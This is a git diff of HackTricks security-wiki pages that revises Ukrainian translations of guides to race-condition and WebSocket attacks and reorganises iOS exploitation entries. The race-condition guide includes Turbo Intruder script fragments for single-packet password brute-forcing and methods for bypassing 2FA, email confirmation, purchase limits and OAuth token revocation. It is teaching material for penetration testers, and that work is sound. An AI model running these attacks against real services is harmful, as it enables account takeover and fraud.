diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index abe382dcf..be4d4275a 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -837,9 +837,14 @@
   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
-- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+  - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
+  - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
+  - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
+  - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
+  - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
+
 
 # 🤖 AI
 - [AI Security](AI/README.md)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index efada34dc..4e5767a85 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -1,49 +1,49 @@
-# Умова гонки
+# Race Condition
 
 {{#include ../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Для глибокого розуміння цієї техніки перегляньте оригінальний звіт за посиланням [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Для глибокого розуміння цієї техніки ознайомтеся з оригінальним звітом у [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 
-## Покращення атак на умови гонки
+## Покращення атак Race Condition
 
-Основною перешкодою для використання умов гонки є забезпечення одночасної обробки кількох запитів з **дуже незначною різницею в їх часі обробки — ідеально, менше 1 мс**.
+Головна перешкода для використання race conditions — забезпечити обробку кількох запитів одночасно, з дуже малою різницею в часі обробки — ідеально менше ніж 1ms.
 
-Тут ви можете знайти деякі техніки для синхронізації запитів:
+Тут наведено деякі методи синхронізації запитів:
 
-#### HTTP/2 Однопакетна атака проти HTTP/1.1 Синхронізація останнього байта
+#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
 
-- **HTTP/2**: Підтримує надсилання двох запитів через одне TCP-з'єднання, зменшуючи вплив мережевого джиттера. Однак через варіації на стороні сервера два запити можуть бути недостатніми для послідовної експлуатації умови гонки.
-- **HTTP/1.1 'Синхронізація останнього байта'**: Дозволяє попередньо надсилати більшість частин 20-30 запитів, утримуючи невеликий фрагмент, який потім надсилається разом, досягаючи одночасного прибуття на сервер.
+- **HTTP/2**: Підтримує надсилання двох запитів по одному TCP-з’єднанню, що зменшує вплив мережевого jitter. Однак через варіації на серверній стороні двох запитів може бути недостатньо для стабільного експлойту race condition.
+- **HTTP/1.1 'Last-Byte Sync'**: Дозволяє попередньо відправити більшу частину 20–30 запитів, утримуючи невеликий фрагмент, який потім надсилається разом, досягаючи одночасного прибуття на сервер.
 
-**Підготовка до синхронізації останнього байта** включає:
+Підготовка до Last-Byte Sync включає:
 
-1. Надсилання заголовків і даних тіла без останнього байта без завершення потоку.
-2. Пауза на 100 мс після початкової відправки.
-3. Вимкнення TCP_NODELAY для використання алгоритму Нагля для пакетування фінальних кадрів.
-4. Пінг для розігріву з'єднання.
+1. Надіслати headers і body data за винятком останнього байта, не закриваючи stream.
+2. Почекати ~100ms після початкової відправки.
+3. Вимкнути TCP_NODELAY, щоб використати Nagle's algorithm для батьчингу фінальних фреймів.
+4. Виконати ping для "прогрівання" з'єднання.
 
-Наступна відправка утримуваних кадрів повинна призвести до їх прибуття в одному пакеті, що можна перевірити за допомогою Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не беруть участі в атаках RC.
+Подальша відправка утримуваних фреймів має призвести до їхнього прибуття в одному пакеті, що можна перевірити через Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не залучені в RC-атаках.
 
 ### Адаптація до архітектури сервера
 
-Розуміння архітектури цілі є критично важливим. Фронтальні сервери можуть по-різному маршрутизувати запити, що впливає на час. Превентивне розігрівання з'єднання на стороні сервера через незначні запити може нормалізувати час запитів.
+Розуміння архітектури цілі є критично важливим. Front-end servers можуть маршрутизувати запити по-різному, що впливає на таймінги. Попереднє прогрівання з'єднань на серверній стороні за допомогою неістотних запитів може нормалізувати час обробки запитів.
 
-#### Обробка блокування на основі сесій
+#### Робота з блокуванням на основі сесій
 
-Фреймворки, такі як обробник сесій PHP, серіалізують запити за сесією, що може приховувати вразливості. Використання різних токенів сесії для кожного запиту може обійти цю проблему.
+Фреймворки, як-от PHP's session handler, серіалізують запити за сесією, що може приховувати вразливості. Використання різних session tokens для кожного запиту може обійти цю проблему.
 
 #### Подолання обмежень швидкості або ресурсів
 
-Якщо розігрів з'єднання неефективний, навмисне викликання затримок обмежень швидкості або ресурсів веб-серверів через потік фальшивих запитів може полегшити однопакетну атаку, викликавши затримку на стороні сервера, що сприяє умовам гонки.
+Якщо прогрівання з’єднання не ефективне, штучне викликання затримок через ліміти швидкості або ресурсів веб-сервера (флуд допоміжних запитів) може сприяти single-packet attack, індукуючи серверну затримку, сприятливу для race conditions.
 
 ## Приклади атак
 
-- **Tubo Intruder - HTTP2 однопакетна атака (1 кінцева точка)**: Ви можете надіслати запит до **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), ви можете змінити в запиті значення, яке ви хочете зламати для **`%s`**, як у `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** з випадаючого списку:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Ви можете надіслати запит у **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), у запиті змінити значення, яке хочете перебрати для **`%s`**, наприклад `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** у випадаючому списку:
 
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
 
-Якщо ви збираєтеся **надіслати різні значення**, ви можете змінити код на цей, який використовує словник з буфера обміну:
+Якщо ви збираєтеся відправляти різні значення, ви можете модифікувати код цим прикладом, який використовує wordlist із буфера обміну:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
@@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
 > [!WARNING]
 > Якщо веб не підтримує HTTP2 (тільки HTTP1.1), використовуйте `Engine.THREADED` або `Engine.BURP` замість `Engine.BURP2`.
 
-- **Tubo Intruder - HTTP2 атака з одного пакета (Кілька кінцевих точок)**: У випадку, якщо вам потрібно надіслати запит до 1 кінцевої точки, а потім кілька до інших кінцевих точок, щоб активувати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось подібне:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: У випадку, якщо потрібно відправити request до 1 endpoint, а потім кілька до інших endpoint-ів, щоб викликати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось на кшталт:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
 # send all the queued requests for this attempt
 engine.openGate(currentAttempt)
 ```
-- Це також доступно в **Repeater** через нову опцію '**Відправити групу паралельно**' у Burp Suite.
-- Для **limit-overrun** ви можете просто додати **той самий запит 50 разів** у групу.
-- Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до деякої нестатичної частини веб-сервера.
-- Для **delaying** процесу **між** обробкою **одного запиту та іншого** в 2 підстанах, ви можете **додати додаткові запити між** обома запитами.
-- Для **multi-endpoint** RC ви можете почати надсилати **запит**, який **йде до прихованого стану**, а потім **50 запитів** одразу після нього, які **експлуатують прихований стан**.
+- Це також доступно в **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite.
+- Для **limit-overrun** ви можете просто додати **той самий запит 50 разів** до групи.
+- Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до якоїсь нестатичної частини веб-сервера.
+- Для **delaying** процесу **між** обробкою **одного запиту та іншого** у 2 substates steps, ви можете **додати додаткові запити між** обома запитами.
+- Для **multi-endpoint** RC ви можете почати надсилати **запит**, що **переходить у прихований стан**, а потім відправити **50 запитів** одразу після нього, які **експлуатують прихований стан**.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **Автоматизований python скрипт**: Мета цього скрипта полягає в тому, щоб змінити електронну пошту користувача, постійно перевіряючи її, поки токен перевірки нової електронної пошти не надійде на останню електронну пошту (це тому, що в коді спостерігалася RC, де було можливо змінити електронну пошту, але перевірка надсилалася на стару, оскільки змінна, що вказує на електронну пошту, вже була заповнена першою).\
-Коли слово "objetivo" знаходиться в отриманих електронних листах, ми знаємо, що отримали токен перевірки зміненої електронної пошти, і ми закінчуємо атаку.
+- **Automated python script**: Мета цього скрипта — змінити email користувача, постійно перевіряючи його, поки токен підтвердження нового email не надійде на останню електронну адресу (це тому, що в коді спостерігалася RC, в якій було можливо змінити email, але верифікація відправлялася на стару адресу, бо змінна, що вказує email, вже була заповнена першою).\
+Коли в отриманих листах знайдено слово "objetivo", ми знаємо, що отримали токен підтвердження зміненого email і припиняємо атаку.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@@ -217,21 +217,21 @@ h2_conn.close_connection()
 
 response = requests.get(url, verify=False)
 ```
-### Поліпшення атаки з одного пакета
+### Покращення Single Packet Attack
 
-У початковому дослідженні пояснюється, що ця атака має обмеження в 1,500 байт. Однак у [**цьому пості**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) було пояснено, як можна розширити обмеження в 1,500 байт атаки з одного пакета до **65,535 B віконного обмеження TCP, використовуючи фрагментацію на рівні IP** (розділення одного пакета на кілька IP-пакетів) і надсилання їх у різному порядку, що дозволяє запобігти повторній збірці пакета, поки всі фрагменти не досягнуть сервера. Ця техніка дозволила досліднику надіслати 10,000 запитів приблизно за 166 мс.
+У первісному дослідженні пояснюється, що ця атака має ліміт 1,500 байт. Однак у [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) показано, як можна розширити обмеження в 1,500 байт single packet attack до **65,535 B window limitation of TCP by using IP layer fragmentation** (розбиттям одного пакета на кілька IP-пакетів) і відправляти їх у різному порядку, що перешкоджає збиранню пакета, поки всі фрагменти не дійдуть до сервера. Ця техніка дозволила досліднику надіслати 10,000 запитів приблизно за 166ms.
 
-Зверніть увагу, що хоча це поліпшення робить атаку більш надійною в RC, яка вимагає, щоб сотні/тисячі пакетів прибули одночасно, це також може мати деякі програмні обмеження. Деякі популярні HTTP-сервери, такі як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` на 100, 128 і 250. Однак інші, такі як NodeJS і nghttp2, мають його без обмежень.\
-Це в основному означає, що Apache буде враховувати лише 100 HTTP-з'єднань з одного TCP-з'єднання (обмежуючи цю атаку RC).
+Зауважте, що хоча це покращення робить атаку більш надійною в RC, яка вимагає сотень/тисяч пакетів, що прибувають одночасно, воно також може стикатися з програмними обмеженнями. Деякі популярні HTTP-сервери, як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` значенням 100, 128 і 250 відповідно. Однак інші, як NodeJS і nghttp2, мають це без обмежень.\
+Це фактично означає, що Apache розглядатиме лише 100 HTTP-з’єднань з однієї TCP-з’єднання (обмежуючи цю RC-атаку).
 
-Ви можете знайти деякі приклади використання цієї техніки в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
+Деякі приклади використання цієї техніки можна знайти в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 
-## Сирий BF
+## Raw BF
 
-Перед попереднім дослідженням були деякі корисливі дані, які просто намагалися надсилати пакети якомога швидше, щоб викликати RC.
+До попереднього дослідження використовувалися payloadи, які просто намагалися відправляти пакети якнайшвидше, щоб спричинити RC.
 
-- **Повторювач:** Перегляньте приклади з попереднього розділу.
-- **Зловмисник**: Надішліть **запит** до **Зловмисника**, встановіть **кількість потоків** на **30** у **меню параметрів** і виберіть як корисливі дані **Null payloads** та згенеруйте **30.**
+- **Repeater:** Перевірте приклади з попереднього розділу.
+- **Intruder**: Надішліть **request** до **Intruder**, встановіть **number of threads** на **30** у меню **Options**, виберіть як payload **Null payloads** і згенеруйте **30**.
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@@ -279,75 +279,75 @@ print(results)
 
 asyncio.run(main())
 ```
-## **RC Методологія**
+## **Методологія RC**
 
-### Ліміт-переповнення / TOCTOU
+### Перевищення ліміту / TOCTOU
 
-Це найосновніший тип гонки, де **вразливості** з'являються в місцях, які **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж коду знижки в інтернет-магазині кілька разів. Дуже простий приклад можна знайти в [**цьому звіті**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**цьому багу**](https://hackerone.com/reports/759247)**.**
+Це найпростіший тип race condition, коли вразливості **з’являються** у місцях, що **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж знижкового коду у веб-магазині кілька разів. Дуже простий приклад можна знайти в [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**this bug**](https://hackerone.com/reports/759247)**.**
 
-Існує багато варіацій цього типу атаки, включаючи:
+Існує багато варіацій такого типу атаки, зокрема:
 
-- Використання подарункової картки кілька разів
-- Оцінка продукту кілька разів
-- Виведення або переказ готівки понад залишок на рахунку
-- Повторне використання одного рішення CAPTCHA
-- Обхід обмеження швидкості анти-брутфорсу
+- Використання подарункової карти кілька разів
+- Оцінювання продукту кілька разів
+- Зняття або переказ коштів понад баланс рахунку
+- Повторне використання одного й того ж CAPTCHA рішення
+- Обхід anti-brute-force rate limit
 
-### **Сховані підстанції**
+### **Приховані підстани**
 
-Експлуатація складних гонок часто передбачає використання короткочасних можливостей для взаємодії зі схованими або **непередбаченими підстанціями машини**. Ось як підійти до цього:
+Експлуатація складних race conditions часто включає використання коротких вікон можливостей для взаємодії з прихованими або **непередбаченими підстанами машини**. Ось як підходити до цього:
 
-1. **Визначте потенційні сховані підстанції**
-- Почніть з визначення кінцевих точок, які модифікують або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання паролів. Зосередьтеся на:
-- **Зберігання**: Віддавайте перевагу кінцевим точкам, які маніпулюють постійними даними на стороні сервера, а не тими, що обробляють дані на стороні клієнта.
-- **Дія**: Шукайте операції, які змінюють існуючі дані, оскільки вони більш імовірно створюють експлуатовані умови в порівнянні з тими, що додають нові дані.
-- **Ключування**: Успішні атаки зазвичай включають операції, що використовують один і той же ідентифікатор, наприклад, ім'я користувача або токен скидання.
-2. **Проведіть початкове тестування**
-- Тестуйте визначені кінцеві точки за допомогою атак гонки, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Несподівані відповіді або зміни в поведінці програми можуть сигналізувати про вразливість.
-3. **Демонструйте вразливість**
-- Зосередьте атаку на мінімальній кількості запитів, необхідних для експлуатації вразливості, часто всього два. Цей етап може вимагати кількох спроб або автоматизації через точність часу.
+1. **Виявити потенційні приховані підстани**
+- Почніть з визначення endpoints, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Зосередьтесь на:
+- **Storage**: Віддавайте перевагу endpoints, які маніпулюють стійкими даними на боці сервера над тими, що обробляють дані на клієнті.
+- **Action**: Шукайте операції, що змінюють існуючі дані — вони більш імовірно створюють експлойтабельні умови порівняно з операціями, що додають нові дані.
+- **Keying**: Успішні атаки зазвичай залежать від операцій, що використовують той самий ідентифікатор, напр., username або reset token.
+2. **Провести початкове зондування**
+- Перевіряйте виявлені endpoints за допомогою race condition атак, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Неочікувані відповіді або зміни в поведінці застосунку можуть свідчити про вразливість.
+3. **Демонструвати вразливість**
+- Зведіть атаку до мінімальної кількості запитів, необхідних для її експлуатації, часто це лише два запити. Цей крок може вимагати багато спроб або автоматизації через точність часу.
 
-### Часово чутливі атаки
+### Атаки, чутливі до часу
 
-Точність у часі запитів може виявити вразливості, особливо коли для безпекових токенів використовуються передбачувані методи, такі як мітки часу. Наприклад, генерація токенів для скидання паролів на основі міток часу може дозволити ідентичні токени для одночасних запитів.
+Точність у таймінгу запитів може виявити вразливості, особливо коли для security tokens використовують передбачувані методи, такі як timestamps. Наприклад, генерація password reset tokens на основі timestamps може дозволити ідентичні токени для одночасних запитів.
 
-**Для експлуатації:**
+**Щоб експлуатувати:**
 
-- Використовуйте точний час, наприклад, атаку з одного пакета, щоб зробити одночасні запити на скидання пароля. Ідентичні токени вказують на вразливість.
+- Використовуйте точний таймінг, наприклад single packet attack, щоб зробити одночасні password reset requests. Ідентичні tokens вказують на вразливість.
 
 **Приклад:**
 
-- Запросіть два токени для скидання пароля одночасно та порівняйте їх. Співпадіння токенів вказує на дефект у генерації токенів.
+- Запитайте два password reset tokens одночасно та порівняйте їх. Якщо tokens співпадають — це свідчить про помилку в генерації токенів.
 
-**Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **щоб спробувати це.**
+**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **.**
 
-## Справи з схованими підстанціями
+## Кейси прихованих підстан
 
-### Оплата та додавання елемента
+### Pay & add an Item
 
-Перевірте це [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), щоб дізнатися, як **оплатити** в магазині та **додати додатковий** елемент, за який **не потрібно платити**.
+Перегляньте [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), щоб побачити, як **оплатити** у магазині та **додати додатковий** товар, за який **не доведеться платити**.
 
-### Підтвердження інших електронних адрес
+### Confirm other emails
 
-Ідея полягає в тому, щоб **перевірити електронну адресу та змінити її на іншу одночасно**, щоб дізнатися, чи платформа перевіряє нову змінену.
+Ідея в тому, щоб **перевірити email-адресу та одночасно змінити її на іншу**, щоб з’ясувати, чи платформа підтверджує нову адресу.
 
-### Зміна електронної адреси на 2 адреси на основі Cookie
+### Change email to 2 emails addresses Cookie based
 
-Згідно з [**цим дослідженням**](https://portswigger.net/research/smashing-the-state-machine), Gitlab був вразливий до захоплення таким чином, оскільки він міг **надіслати** **токен підтвердження електронної пошти однієї електронної адреси на іншу електронну адресу**.
+Згідно з [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab був уразливий до takeover таким чином, бо він міг **надіслати** **email verification token** однієї адреси на іншу адресу.
 
-**Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **щоб спробувати це.**
+**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **.**
 
-### Обхід підтвердження бази даних / Обхід підтвердження
+### Hidden Database states / Confirmation Bypass
 
-Якщо **використовуються 2 різні записи** для **додавання** **інформації** в **базу даних**, існує невеликий проміжок часу, коли **тільки перші дані були записані** в базу даних. Наприклад, при створенні користувача **ім'я користувача** та **пароль** можуть бути **записані**, а **потім токен** для підтвердження новоствореного облікового запису записується. Це означає, що протягом короткого часу **токен для підтвердження облікового запису є нульовим**.
+Якщо для додавання інформації в базу даних використовуються 2 різні операції запису, існує короткий проміжок часу, коли записано лише перші дані. Наприклад, при створенні користувача username і password можуть бути записані, а потім записується token для підтвердження нового акаунта. Це означає, що протягом короткого часу token для підтвердження акаунта може бути null.
 
-Отже, **реєстрація облікового запису та надсилання кількох запитів з порожнім токеном** (`token=` або `token[]=` або будь-яка інша варіація) для негайного підтвердження облікового запису може дозволити **підтвердити обліковий запис**, де ви не контролюєте електронну пошту.
+Тому реєстрація акаунта та відправка кількох запитів з порожнім token (`token=` або `token[]=` або будь-яка інша варіація) для миттєвого підтвердження акаунта може дозволити **підтвердити акаунт**, де ви не контролюєте email.
 
-**Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **щоб спробувати це.**
+**Спробуйте це в** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **.**
 
 ### Обхід 2FA
 
-Наступний псевдокод вразливий до гонки, оскільки протягом дуже короткого часу **2FA не застосовується**, поки створюється сесія:
+Наступний псевдокод вразливий до race condition, бо протягом дуже короткого часу **2FA не застосовується**, поки створюється session:
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@@ -355,24 +355,25 @@ session['enforce_mfa'] = True
 # generate and send MFA code to user
 # redirect browser to MFA code entry form
 ```
-### OAuth2 вічна постійність
+### OAuth2 вічна персистентність
 
-Є кілька [**OAUth провайдерів**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ці сервіси дозволять вам створити додаток і аутентифікувати користувачів, яких зареєстрував провайдер. Для цього **клієнт** повинен **дозволити вашому додатку** отримати доступ до деяких їхніх даних у **OAUth провайдері**.\
-Отже, до цього моменту це просто звичайний вхід через google/linkedin/github..., де вам показують сторінку з повідомленням: "_Додаток \<InsertCoolName> хоче отримати доступ до вашої інформації, чи хочете ви це дозволити?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
+So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
 
-#### Умова гонки в `authorization_code`
+#### Race Condition in `authorization_code`
 
-**Проблема** виникає, коли ви **приймаєте це** і автоматично надсилаєте **`authorization_code`** до шкідливого додатку. Потім цей **додаток зловживає Умовою гонки в OAUth сервіс провайдера, щоб згенерувати більше ніж один AT/RT** (_Токен аутентифікації/Токен оновлення_) з **`authorization_code`** для вашого облікового запису. В основному, він зловживає тим фактом, що ви прийняли додаток для доступу до ваших даних, щоб **створити кілька облікових записів**. Потім, якщо ви **припините дозволяти додатку доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними**.
+Проблема виникає, коли ви **погоджуєтесь** і автоматично надсилається **`authorization_code`** до зловмисного додатка. Далі цей додаток зловживає Race Condition у OAUth-провайдера, щоб згенерувати більше ніж один AT/RT (Authentication Token/Refresh Token) з `authorization_code` для вашого акаунта. По суті, він використовує те, що ви дозволили додатку доступ до ваших даних, щоб **створити кілька акаунтів**. Якщо ви припините дозволяти додатку доступ до своїх даних, одна пара AT/RT буде видалена, але інші все одно залишаться дійсними.
 
-#### Умова гонки в `Refresh Token`
+#### Race Condition in `Refresh Token`
 
-Якщо ви **отримали дійсний RT**, ви можете спробувати **зловживати ним для генерації кількох AT/RT**, і **навіть якщо користувач скасовує дозволи** для шкідливого додатку на доступ до його даних, **кілька RT залишаться дійсними.**
+Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
 
-## **УГ в WebSockets**
+## **RC in WebSockets**
 
-У [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) ви можете знайти PoC на Java для надсилання вебсокетних повідомлень **паралельно**, щоб зловживати **Умовами гонки також у Web Sockets**.
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
+- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
 
-## Посилання
+## References
 
 - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
 - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@@ -380,5 +381,8 @@ session['enforce_mfa'] = True
 - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
 - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 5f5c1fba9..5b2f2f1b2 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -1,22 +1,22 @@
-# WebSocket Attacks
+# Атаки WebSocket
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Що таке WebSockets
 
-З'єднання WebSocket встановлюються через початковий **HTTP** рукопашний handshake і призначені для **тривалого використання**, що дозволяє двостороннє повідомлення в будь-який час без необхідності в транзакційній системі. Це робить WebSockets особливо вигідними для додатків, які вимагають **низької затримки або ініційованого сервером зв'язку**, таких як потоки фінансових даних в реальному часі.
+WebSocket-з'єднання встановлюються через початкове **HTTP** рукопотискання і розраховані на **довготривалу** роботу, дозволяючи здійснювати двосторонній обмін повідомленнями в будь-який час без потреби в транзакційній моделі. Це робить WebSockets особливо корисними для застосунків, що потребують **низької затримки або комунікації, ініційованої сервером**, наприклад потокових даних фінансових ринків в реальному часі.
 
-### Встановлення з'єднань WebSocket
+### Встановлення WebSocket-з'єднань
 
-Детальне пояснення щодо встановлення з'єднань WebSocket можна знайти [**тут**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Підсумовуючи, з'єднання WebSocket зазвичай ініціюються за допомогою JavaScript на стороні клієнта, як показано нижче:
+Детальне пояснення щодо встановлення WebSocket-з'єднань доступне [**тут**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). У підсумку, WebSocket-з'єднання зазвичай ініціюються на стороні клієнта за допомогою JavaScript, як показано нижче:
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
-Протокол `wss` позначає з'єднання WebSocket, захищене **TLS**, тоді як `ws` вказує на **незахищене** з'єднання.
+Протокол `wss` означає WebSocket-з'єднання, захищене за допомогою **TLS**, тоді як `ws` позначає **незашифроване** з'єднання.
 
-Під час встановлення з'єднання виконується обмін повідомленнями між браузером і сервером через HTTP. Процес обміну повідомленнями включає в себе надсилання запиту браузером і відповідь сервера, як показано в наступних прикладах:
+Під час встановлення з'єднання виконується рукопотискання між браузером і сервером по HTTP. Процес рукопотискання передбачає, що браузер надсилає запит, а сервер відповідає, як показано в наведених прикладах:
 
-Браузер надсилає запит на обмін повідомленнями:
+Браузер надсилає запит рукопотискання:
 ```javascript
 GET /chat HTTP/1.1
 Host: normal-website.com
@@ -26,88 +26,205 @@ Connection: keep-alive, Upgrade
 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
 Upgrade: websocket
 ```
-Відповідь на хендшейк сервера:
+Відповідь сервера на handshake:
 ```javascript
 HTTP/1.1 101 Switching Protocols
 Connection: Upgrade
 Upgrade: websocket
 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 ```
-З'єднання залишається відкритим для обміну повідомленнями в обох напрямках після встановлення.
+Після встановлення з'єднання воно залишається відкритим для обміну повідомленнями в обох напрямках.
 
-**Ключові моменти рукостискання WebSocket:**
+**Ключові моменти WebSocket handshake:**
 
-- Заголовки `Connection` та `Upgrade` сигналізують про ініціацію рукостискання WebSocket.
-- Заголовок `Sec-WebSocket-Version` вказує на бажану версію протоколу WebSocket, зазвичай `13`.
-- У заголовку `Sec-WebSocket-Key` надсилається випадкове значення, закодоване в Base64, що забезпечує унікальність кожного рукостискання, що допомагає запобігти проблемам з кешуючими проксі. Це значення не призначене для аутентифікації, а для підтвердження того, що відповідь не згенерована неправильно налаштованим сервером або кешем.
-- Заголовок `Sec-WebSocket-Accept` у відповіді сервера є хешем `Sec-WebSocket-Key`, що підтверджує намір сервера відкрити з'єднання WebSocket.
